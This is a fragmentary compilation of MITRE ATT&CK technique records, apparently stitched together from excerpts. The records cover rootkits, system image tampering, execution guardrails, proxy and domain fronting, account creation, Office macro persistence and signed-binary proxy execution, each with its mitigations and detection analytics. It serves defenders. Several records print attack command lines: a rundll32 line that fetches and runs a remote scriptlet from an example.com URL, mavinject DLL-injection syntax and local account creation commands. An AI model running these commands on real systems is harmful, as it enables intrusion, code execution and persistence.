says another -- is the defining signal. OT operational-fidelity gate: Alert only when execution violates an approved signer/hash/path/parent/process or tool allowlist, or originates from an unauthorized user/tool, and is tied to an OT asset or follow-on OT-relevant action. […]\n\n## Reference: ATT&CK T0851 Rootkit\n**ATT&CK T0851 Rootkit (full record).** Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower.\n\nFirmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for the I/O that is attached to an asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact.\n\n**Classification.** - Tactics: evasion, inhibit-response-function\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Code Signing**: Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.\n- **Audit**: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses. Perform periodic integrity checks of the device to validate the correctness of the firmware, software, programs, and configurations. Integrity checks, which typically include cryptographic hashes or digital signatures, should be compared to those obtained at known valid states, especially after events like device reboots, program downloads, or program restarts.\n\n**Detection strategies and analytics.** - **Detection of Rootkit**\n - Periodic or event-triggered integrity verification identifies a discrepancy between a field device's self-reported diagnostic state and an independently verified hardware/firmware fingerprint, indicating the device's reporting layer has been compromised. MITRE explicitly notes firmware/module rootkits 'can also be developed for the Input/Output (I/O) that is attached to an asset.'. […]\n\n## Reference: ATT&CK T0852 Screen Capture\n**ATT&CK T0852 Screen Capture (full record).** Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Mitigation Limited or Not Effective**: This type of attack technique cannot be easily mitigated with preventative controls since it is based on the abuse of system features.\n\n**Detection strategies and analytics.** - **Detection of Screen Capture**\n - Real-time monitoring identifies execution of screenshot utilities (scrot, import, xwd) on an Industrial Control System (ICS) Linux Human-Machine Interface (HMI), from a User Identifier (UID) that does not normally perform display operations. OT operational-fidelity gate: Do not alert on novelty, scan/read volume, or enumeration alone. Alert when the source role is not authorized for discovery/polling and the target scope, address/tag range, protocol, or rate deviates from the established operational baseline.

For example, a malicious application may register itself as a VPN client, effectively redirecting device traffic to adversary-owned resources. Registering as a VPN client requires user consent on both Android and iOS; additionally, a special entitlement granted by Apple is needed for iOS devices. Alternatively, a malicious application with escalation privileges may utilize those privileges to gain access to network traffic.\n\nSpecific to Android devices, adversary-in-the-disk is a type of AiTM attack where adversaries monitor and manipulate data that is exchanged between applications and external storage. To accomplish this, a malicious application firsts requests for access to multimedia files on the device (`READ_EXTERNAL STORAGE` and `WRITE_EXTERNAL_STORAGE`), then the application reads data on the device and/or writes malware to the device. Though the request for access is common, when used maliciously, adversaries may access files and other sensitive data due to abusing the permission. Multiple applications were shown to be vulnerable against this attack; however, scrutiny of permissions and input validations may mitigate this attack.\n\nOutside of a mobile device, adversaries may be able to capture traffic by employing a rogue base station or Wi-Fi access point. These devices will allow adversaries to capture network traffic after it has left the device, while it is flowing to its destination. On a local network, enterprise techniques could be used, such as ARP Cache Poisoning or DHCP Spoofing.\n\nIf applications properly encrypt their network traffic, sensitive data may not be accessible to adversaries, depending on the point of capture. For example, properly implementing Apple’s Application Transport Security (ATS) and Android’s Network Security Configuration (NSC) may prevent sensitive data leaks.

These factors typically include:\n- **Password Policies**: Set and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:\n- **Credential Access Protection**: Credential Access Protection focuses on implementing measures to prevent adversaries from obtaining credentials, such as passwords, hashes, tokens, or keys, that could be used for unauthorized access. This involves restricting access to credential storage mechanisms, hardening configurations to block credential dumping methods, and using monitoring tools to detect suspicious credential-related activity. This mitigation can be implemented through the following measures:\n- **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. […]\n\n## Reference: ATT&CK T1601.001 Patch System Image\n**ATT&CK T1601.001 Patch System Image (full record).** Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses. Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the ROMMONkit method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via Weaken Encryption, authentication, via Network Device Authentication, and perimeter defenses, via Network Boundary Bridging. Adding new capabilities for the adversary’s purpose include Keylogging, Multi-hop Proxy, and Port Knocking. […]\n\n## Reference: ATT&CK T1601.002 Downgrade System Image\n**ATT&CK T1601.002 Downgrade System Image (full record).** Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features.\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as Weaken Encryption. Downgrading of a system image can be done on its own, or it can be used in conjunction with Patch System Image.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Network Devices\n- Sub-technique of: T1601 Modify System Image - Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.

By segmenting networks, organizations can reduce the attack surface, restrict lateral movement by adversaries, and protect critical assets from compromise.\n- **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic.

If a response is received that means the system or device that responded is live and can communicate over that protocol. Adversaries may leverage different protocols supported on the network for sending broadcast messages.\n\nSome common OT protocols that have broadcast discovery mechanisms are Building Automation and Control Network (BACNet) Who-Is requests, Common Industrial Protocol (CIP) List Identity User Datagram Protocol (UDP) broadcast requests, and Siemens S7 broadcast identification requests.\n\n**Classification.** - Tactics: discovery\n- Platforms: Embedded, Windows, Linux, Network Devices\n- Sub-technique of: T0846 Remote System Discovery - Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques.\n\n**Mitigations.** - **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources.

The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible.\n\nOperators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. The plant has since checked for infection and cleaned up more than 1,000 computers.

A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection.\n\nIn the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources.

Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\n\nAdversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.\n\n**Classification.** - Tactics: stealth\n- Platforms: ESXi, Linux, macOS, Windows\n\n**Sub-techniques.** - T1480.001 Environmental Keying: Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment.\n- T1480.002 Mutual Exclusion: Adversaries may constrain execution or actions based on the presence of a mutex associated with malware.

Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of Execution Guardrails that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses. By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult. These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to Obfuscated Files or Information, adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution. By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult. This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other Execution Guardrails, environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful. […]\n\n## Reference: ATT&CK T1480.002 Mutual Exclusion\n**ATT&CK T1480.002 Mutual Exclusion (full record).** Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.\n\nWhile local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes. By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.\n\nIn Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits to avoid creating a second instance of itself.\n\nMutex names may be hard-coded or dynamically generated using a predictable algorithm.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1480 Execution Guardrails - Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target.\n\n**Mitigations.** - **Do Not Mitigate**: The Do Not Mitigate category highlights scenarios where attempting to mitigate a specific technique may inadvertently increase the organization's security risk or operational instability. This could happen due to the complexity of the system, the integration of critical processes, or the potential for introducing new vulnerabilities. Instead of direct mitigation, these situations may call for alternative strategies such as detection, monitoring, or response.\n\n**Detection strategies and analytics.** - **Detection of Mutex-Based Execution Guardrails Across Platforms**\n - Adversary-created named mutex using system APIs (e.g., CreateMutexW) followed by conditional process termination or alternate code path indicating malware avoiding reinfection.

Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed).\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Android, iOS\n\n**Sub-techniques.** - T1481.001 Dead Drop Resolver: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure.\n- T1481.003 One-Way Communication: Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to a compromised system without receiving return output.\n- T1481.002 Bidirectional Communication: Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to and receiving output from a compromised system.\n\n**Detection strategies and analytics.** - **Detection of Web Service**\n - For Android, detect Web Service by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nFor example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations.\n\nIn the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport.\n\nSimilarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1090 Proxy - Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.\n\n**Mitigations.** - **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. […]\n\n## Reference: ATT&CK T1090.004 Domain Fronting\n**ATT&CK T1090.004 Domain Fronting (full record).** Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Linux, macOS, Windows, ESXi\n- Sub-technique of: T1090 Proxy - Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.\n\n**Mitigations.** - **SSL/TLS Inspection**: SSL/TLS inspection involves decrypting encrypted network traffic to examine its content for signs of malicious activity. This capability is crucial for detecting threats that use encryption to evade detection, such as phishing, malware, or data exfiltration. After inspection, the traffic is re-encrypted and forwarded to its destination. […]\n\n## Reference: ATT&CK T1091 Replication Through Removable Media\n**ATT&CK T1091 Replication Through Removable Media (full record).** Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB. This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables. For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).\n\n**Classification.** - Tactics: lateral-movement, initial-access\n- Platforms: Windows\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Limit Hardware Installation**: Prevent unauthorized users or groups from installing or using hardware, such as external drives, peripheral devices, or unapproved internal hardware components, by enforcing hardware usage policies and technical controls. This includes disabling USB ports, restricting driver installation, and implementing endpoint security tools to monitor and block unapproved devices. This mitigation can be implemented through the following measures:\n- **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events.

Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.\n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.

Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nFor example, with a sufficient level of access, the Windows `net user /add` command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the `dscl -create` command can be used. Local accounts may also be added to network devices, often via common Network Device CLI commands such as `username`, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.\n\nAdversaries may also create new local accounts on network firewall management consoles – for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\n**Classification.** - Tactics: persistence\n- Platforms: Containers, ESXi, Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1136 Create Account - Adversaries may create an account to maintain access to victim systems.

In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for Temporary Elevated Cloud Access. While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\n\nOnce an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding Additional Cloud Credentials or assigning Additional Cloud Roles.\n\n**Classification.** - Tactics: persistence\n- Platforms: IaaS, SaaS, Office Suite, Identity Provider\n- Sub-technique of: T1136 Create Account - Adversaries may create an account to maintain access to victim systems.

Office add-ins can be used to add functionality to Office programs.\n- T1137.005 Outlook Rules: Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages.\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. […]\n\n## Reference: ATT&CK T1137.001 Office Template Macros\n**ATT&CK T1137.001 Office Template Macros (full record).** Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.\n\nOffice Visual Basic for Applications (VBA) macros can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. Shared templates may also be stored and pulled from remote locations.\n\nWord Normal.dotm location:\n`C:\\Users\\\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm`\n\nExcel Personal.xlsb location:\n`C:\\Users\\\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB`\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under `C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\`, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n**Classification.** - Tactics: persistence\n- Platforms: Office Suite, Windows\n- Sub-technique of: T1137 Office Application Startup - Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network.

Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.\n\n**Detection strategies and analytics.** - **Detect Archiving via Custom Method (T1560.003)**\n - Detects suspicious custom compression/encryption routines through anomalous script or binary execution that produces high-entropy files without standard archiving utilities. Correlates script execution, memory API usage (bitwise ops, CryptoAPI calls), and creation of archive-like files with uncommon headers. (telemetry: WinEventLog:Security:EventCode=4688, WinEventLog:Sysmon:EventCode=11, WinEventLog:Sysmon:EventCode=10)\n - Detects custom archive routines by correlating script execution (Python, Perl, Bash) with creation of high-entropy files in temporary or user directories. Flags processes performing unusual bitwise operations or writing files without standard compression headers. (telemetry: auditd:SYSCALL:execve: Execution of interpreters creating archive-like outputs without calling tar/gzip, auditd:FILE:create: Creation of files with anomalous headers and entropy levels in /tmp or user directories, linux:osquery:Detection of bitwise operations or custom encryption functions in memory traces)\n - Detects custom archiving by monitoring execution of Swift/Objective-C apps or scripts producing high-entropy files with non-standard headers.

Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include environment information such as location.\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.

[…]\n\n## Reference: ATT&CK T1627.001 Geofencing\n**ATT&CK T1627.001 Geofencing (full record).** Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.\n\nGeofencing is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements.\n\nOne method to accomplish Geofencing on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other Geofencing methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include \"Allow only while using the app\", which will effectively prohibit background location collection.\n\nSimilarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization` or `requestAlwaysAuthorization`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground.\n\nGeofencing can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific input prompts and/or advertisements.

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems.

Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments.\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1218 System Binary Proxy Execution - Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits.

Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}`).\n\nRundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a.cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write;GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"` This behavior has been seen used by malware such as Poweliks.\n\nThreat actors may also abuse legitimate, signed system DLLs (e.g., `zipfldr.dll, ieframe.dll`) with `rundll32.exe` to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command `rundll32.exe ExampleDLL.dll, ExampleFunction`, rundll32.exe would first attempt to execute `ExampleFunctionW`, or failing that `ExampleFunctionA`, before loading `ExampleFunction`). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending `W` and/or `A` to harmless ones. […]\n\n## Reference: ATT&CK T1218.012 Verclsid\n**ATT&CK T1218.012 Verclsid (full record).** Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running `verclsid.exe /S /C {CLSID}`, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to Regsvr32). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1218 System Binary Proxy Execution - Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration. This mitigation can be implemented through the following measures:\n- **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\n## Reference: ATT&CK T1218.013 Mavinject\n**ATT&CK T1218.013 Mavinject (full record).** Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection), allowing for arbitrary code execution (ex. `C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL`). Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.\n\nIn addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its `/HMODULE` command-line parameter (ex. `mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER`). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1218 System Binary Proxy Execution - Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries.

